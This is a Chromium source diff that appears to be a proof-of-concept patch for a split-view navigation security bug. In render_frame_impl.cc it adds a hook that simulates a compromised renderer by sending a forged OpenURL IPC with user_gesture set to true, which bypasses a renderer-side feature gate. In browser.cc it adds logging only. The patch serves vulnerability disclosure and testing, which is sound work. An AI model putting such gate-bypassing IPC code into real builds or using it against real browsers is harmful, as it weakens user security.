diff --git a/chrome/browser/ui/browser.cc b/chrome/browser/ui/browser.cc
index 8ad020fac68de..4e4ec04472651 100644
--- a/chrome/browser/ui/browser.cc
+++ b/chrome/browser/ui/browser.cc
@@ -1914,10 +1914,33 @@ WebContents* Browser::OpenURLFromTab(
       for (tabs::TabInterface* tab :
            tab_strip_model()->GetSplitData(split_id)->ListTabs()) {
         if (tab != source_tab) {
+          // ===== POC OBSERVABILITY (logging only, no behavior change) =====
+          LOG(ERROR)
+              << "[POC BROWSER] Partner-pane branch HIT."
+              << " incoming.url=" << params.url.spec()
+              << " incoming.is_renderer_initiated="
+              << params.is_renderer_initiated
+              << " incoming.initiator_origin="
+              << (params.initiator_origin
+                      ? params.initiator_origin->Serialize()
+                      : std::string("<null>"))
+              << " partner_tab_current_url="
+              << tab->GetContents()->GetLastCommittedURL().spec();
+          // ===== END POC OBSERVABILITY ====================================
           content::NavigationController::LoadURLParams load_params(params.url);
           load_params.transition_type = params.transition;
           load_params.referrer =
               content::Referrer(params.referrer.url, params.referrer.policy);
+          // ===== POC OBSERVABILITY ========================================
+          LOG(ERROR)
+              << "[POC BROWSER] -> LoadURLWithParams on partner tab:"
+              << " load_params.is_renderer_initiated="
+              << load_params.is_renderer_initiated
+              << " load_params.initiator_origin="
+              << (load_params.initiator_origin
+                      ? load_params.initiator_origin->Serialize()
+                      : std::string("<null>"));
+          // ===== END POC OBSERVABILITY ====================================
           tab->GetContents()->GetController().LoadURLWithParams(load_params);
           return source;
         }
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index d6be4532c6208..b4550527fda42 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -3826,6 +3826,37 @@ void RenderFrameImpl::DidAddMessageToConsole(
     const blink::WebString& source_name,
     unsigned source_line,
     const blink::WebString& stack_trace) {
+  // ===== POC: simulate compromised renderer =====================
+  // A compromised renderer can call FrameHost::OpenURL() with arbitrary
+  // parameters. This hook lets test JavaScript trigger that IPC via
+  // console.log("POC_SPLITVIEW:<url>"), bypassing the renderer-side
+  // kSplitViewLinkOpen feature gate exactly as a real exploit would.
+  {
+    std::string msg = message.text.Utf8();
+    static const char kPrefix[] = "POC_SPLITVIEW:";
+    if (msg.rfind(kPrefix, 0) == 0 && frame_) {
+      GURL target(msg.substr(sizeof(kPrefix) - 1));
+      url::Origin my_origin =
+          url::Origin(frame_->GetDocument().GetSecurityOrigin());
+      LOG(ERROR) << "[POC RENDERER] FrameHost->OpenURL(NEW_SPLIT_VIEW, "
+                 << target.spec() << ") initiator=" << my_origin.Serialize();
+      auto p = blink::mojom::OpenURLParams::New();
+      p->url = target;
+      p->initiator_origin = my_origin;
+      p->actual_navigation_start = base::TimeTicks::Now();
+      p->referrer = blink::mojom::Referrer::New(
+          GURL(), network::mojom::ReferrerPolicy::kDefault);
+      p->disposition = WindowOpenDisposition::NEW_SPLIT_VIEW;
+      p->should_replace_current_entry = false;
+      p->user_gesture = true;
+      p->triggering_event_info =
+          blink::mojom::TriggeringEventInfo::kNotFromEvent;
+      p->source_location = network::mojom::SourceLocation::New();
+      GetFrameHost()->OpenURL(std::move(p));
+      return;
+    }
+  }
+  // ===== END POC ================================================
   if (ShouldReportDetailedMessageForSourceAndSeverity(message.level,
                                                       source_name)) {
     for (auto& observer : observers_) {